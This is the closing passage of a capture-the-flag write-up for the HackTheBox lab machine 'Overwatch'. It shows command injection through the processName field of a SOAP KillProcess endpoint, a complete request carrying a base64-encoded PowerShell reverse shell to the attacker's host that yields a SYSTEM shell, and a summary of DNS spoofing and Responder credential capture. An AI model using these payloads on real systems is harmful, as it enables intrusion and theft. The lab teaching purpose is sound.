    <wsdl:message name="IMonitoringService_StartMonitoring_InputMessage">
        <wsdl:part name="parameters" element="tns:StartMonitoring"/>
    </wsdl:message>
    <wsdl:message name="IMonitoringService_StartMonitoring_OutputMessage">
        <wsdl:part name="parameters" element="tns:StartMonitoringResponse"/>
    </wsdl:message>
    <wsdl:message name="IMonitoringService_StopMonitoring_InputMessage">
        <wsdl:part name="parameters" element="tns:StopMonitoring"/>
    </wsdl:message>
    <wsdl:message name="IMonitoringService_StopMonitoring_OutputMessage">
        <wsdl:part name="parameters" element="tns:StopMonitoringResponse"/>
    </wsdl:message>
    <wsdl:message name="IMonitoringService_KillProcess_InputMessage">
        <wsdl:part name="parameters" element="tns:KillProcess"/>
    </wsdl:message>
    <wsdl:message name="IMonitoringService_KillProcess_OutputMessage">
        <wsdl:part name="parameters" element="tns:KillProcessResponse"/>
    </wsdl:message>
    <wsdl:portType name="IMonitoringService">
        <wsdl:operation name="StartMonitoring">
            <wsdl:input wsaw:Action="http://tempuri.org/IMonitoringService/StartMonitoring" message="tns:IMonitoringService_StartMonitoring_InputMessage"/>
            <wsdl:output wsaw:Action="http://tempuri.org/IMonitoringService/StartMonitoringResponse" message="tns:IMonitoringService_StartMonitoring_OutputMessage"/>
        </wsdl:operation>
        <wsdl:operation name="StopMonitoring">
            <wsdl:input wsaw:Action="http://tempuri.org/IMonitoringService/StopMonitoring" message="tns:IMonitoringService_StopMonitoring_InputMessage"/>
            <wsdl:output wsaw:Action="http://tempuri.org/IMonitoringService/StopMonitoringResponse" message="tns:IMonitoringService_StopMonitoring_OutputMessage"/>
        </wsdl:operation>
        <wsdl:operation name="KillProcess">
            <wsdl:input wsaw:Action="http://tempuri.org/IMonitoringService/KillProcess" message="tns:IMonitoringService_KillProcess_InputMessage"/>
            <wsdl:output wsaw:Action="http://tempuri.org/IMonitoringService/KillProcessResponse" message="tns:IMonitoringService_KillProcess_OutputMessage"/>
        </wsdl:operation>
    </wsdl:portType>
    <wsdl:binding name="BasicHttpBinding_IMonitoringService" type="tns:IMonitoringService">
        <soap:binding transport="http://schemas.xmlsoap.org/soap/http"/>
        <wsdl:operation name="StartMonitoring">
            <soap:operation soapAction="http://tempuri.org/IMonitoringService/StartMonitoring" style="document"/>
            <wsdl:input>
                <soap:body use="literal"/>
            </wsdl:input>
            <wsdl:output>
                <soap:body use="literal"/>
            </wsdl:output>
        </wsdl:operation>
        <wsdl:operation name="StopMonitoring">
            <soap:operation soapAction="http://tempuri.org/IMonitoringService/StopMonitoring" style="document"/>
            <wsdl:input>
                <soap:body use="literal"/>
            </wsdl:input>
            <wsdl:output>
                <soap:body use="literal"/>
            </wsdl:output>
        </wsdl:operation>
        <wsdl:operation name="KillProcess">
            <soap:operation soapAction="http://tempuri.org/IMonitoringService/KillProcess" style="document"/>
            <wsdl:input>
                <soap:body use="literal"/>
            </wsdl:input>
            <wsdl:output>
                <soap:body use="literal"/>
            </wsdl:output>
        </wsdl:operation>
    </wsdl:binding>
    <wsdl:service name="MonitoringService">
        <wsdl:port name="BasicHttpBinding_IMonitoringService" binding="tns:BasicHttpBinding_IMonitoringService">
            <soap:address location="http://overwatch.htb:8000/MonitorService"/>
        </wsdl:port>
    </wsdl:service>
</wsdl:definitions>

The question is whether processName is passed to a shell command without sanitisation.

Confirming command injection

We tested with a semicolon injection — appending ; ping 10.10.14.9; after a dummy process name.

POST /MonitorService HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://tempuri.org/IMonitoringService/KillProcess"
Content-Length: 421

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
               xmlns:xsd="http://www.w3.org/2001/XMLSchema"
               xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <KillProcess xmlns="http://tempuri.org/">
      <processName>notepad.exe; ping 10.10.14.9;</processName>
    </KillProcess>
  </soap:Body>
</soap:Envelope>
┌──(kali㉿kali)-[~/Documents/htb/overwatch]
└─$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
09:41:47.515493 IP 10.129.1.166 > 10.10.14.9: ICMP echo request, id 1, seq 1, length 40
09:41:47.517377 IP 10.10.14.9 > 10.129.1.166: ICMP echo reply, id 1, seq 1, length 40
09:41:48.527793 IP 10.129.1.166 > 10.10.14.9: ICMP echo request, id 1, seq 2, length 40
09:41:48.527818 IP 10.10.14.9 > 10.129.1.166: ICMP echo reply, id 1, seq 2, length 40
09:41:49.543811 IP 10.129.1.166 > 10.10.14.9: ICMP echo request, id 1, seq 3, length 40
09:41:49.543849 IP 10.10.14.9 > 10.129.1.166: ICMP echo reply, id 1, seq 3, length 40
09:41:50.561296 IP 10.129.1.166 > 10.10.14.9: ICMP echo request, id 1, seq 4, length 40
09:41:50.561327 IP 10.10.14.9 > 10.129.1.166: ICMP echo reply, id 1, seq 4, length 40
^C
8 packets captured
8 packets received by filter
0 packets dropped by kernel

RCE confirmed. The processName parameter is concatenated directly into a shell command.

Shell as SYSTEM

We swapped the ping for a base64-encoded PowerShell reverse shell.

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
               xmlns:xsd="http://www.w3.org/2001/XMLSchema"
               xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <KillProcess xmlns="http://tempuri.org/">
      <processName>notepad.exe; powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AOQAiACwAOQAwADAAMQApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=;</processName>
    </KillProcess>
  </soap:Body>
</soap:Envelope>
┌──(kali㉿kali)-[~/Documents/htb/overwatch]
└─$ rlwrap nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.14.9] from (UNKNOWN) [10.129.1.166] 64623

PS C:\Software\Monitoring> whoami
nt authority\system
PS C:\Software\Monitoring> 

The monitoring service was running as NT AUTHORITY\SYSTEM. No potato, no privilege escalation chain — the SOAP endpoint handed us SYSTEM directly.

Conclusion

In summary, anonymous SMB access to the software$ share gave us a .NET monitoring application. Decompiling it revealed hardcoded MSSQL credentials for sqlsvc, but the account only had guest-level access. Enumerating linked servers uncovered SQL07 — a hostname that didn't resolve to anything. We used dnstool.py to add a DNS record pointing it to our machine, and Responder caught the linked server's cleartext MSSQL credentials for sqlmgmt.

With WinRM access as sqlmgmt, we discovered the monitoring application was running as a WCF SOAP service on port 8000. The KillProcess endpoint passed the processName parameter directly into a shell command. A semicolon injection gave us command execution as SYSTEM, and a base64-encoded PowerShell reverse shell completed the takeover.

That wraps up Overwatch. Thanks for reading — see you in the next one!